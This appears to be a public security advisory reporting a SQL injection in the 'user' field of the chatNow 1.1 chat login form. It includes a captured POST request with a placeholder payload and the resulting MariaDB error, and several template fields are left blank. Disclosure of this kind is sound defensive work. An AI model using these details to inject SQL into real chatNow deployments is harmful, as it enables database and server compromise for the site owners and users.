chatNow 1.1 – SQL Injection Vulnerability

A remote sql injection web vulnerability has been discovered in the official chatNow v1.1 content management system. The web vulnerability allows remote attackers to execute own malicious sql commands to compromise the application. The sql injection vulnerability is located in input name `user` which is found in the connection form. Remote attackers are able to execute own sql commands, the attack vector of the vulnerability is application-side and the request method to inject is POST.

The security risk of the vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.0. Exploitation of the remote sql injection vulnerability requires no user interaction or privileged web-application user account. Successful exploitation of the remote sql injection results in database management system, web-server and web-application compromise.

Request Method(s):
[+] POST

Vulnerable Input (Name):
[+] user

Product & Service Introduction:

Chat Open Source desenvolvido com PHP e MySQL. Com suporte para envio de videos do Youtube e imagens. Construido com jQuery.

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Date of Discovery:


Exploitation Technique:


Platfom Tested:

Windows 7

Levels Risk :

Proof of Concept (PoC):

The remote sql-injection vulnerability can be exploited by remote attackers without privileged web-application user account or user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

--- PoC Session Logs [POST]---
Status: 200 [OK]
Host: localhost/chatNow/
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/chatNow/chat/login.php
Cookie: PHPSESSID=3g7cs1mammh9p767oed1v187t0; __utma=32540652.120788788.1479381166.1479381166.1479381166.1; __utmb=32540652.5.10.1479381166; __utmc=32540652; __utmz=32540652.1479381166.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
POST Method: user=[SQL INJECTION HERE]id_room=14&captcha=5253

--- PoC Error Logs ---
SELECT * FROM chat_users WHERE user = "1"'" ORDER BY id DESC
You have an error in your SQL syntax; 
check the manual that corresponds to your MariaDB server version for the right syntax to use near ''" ORDER BY id DESC' at line 1

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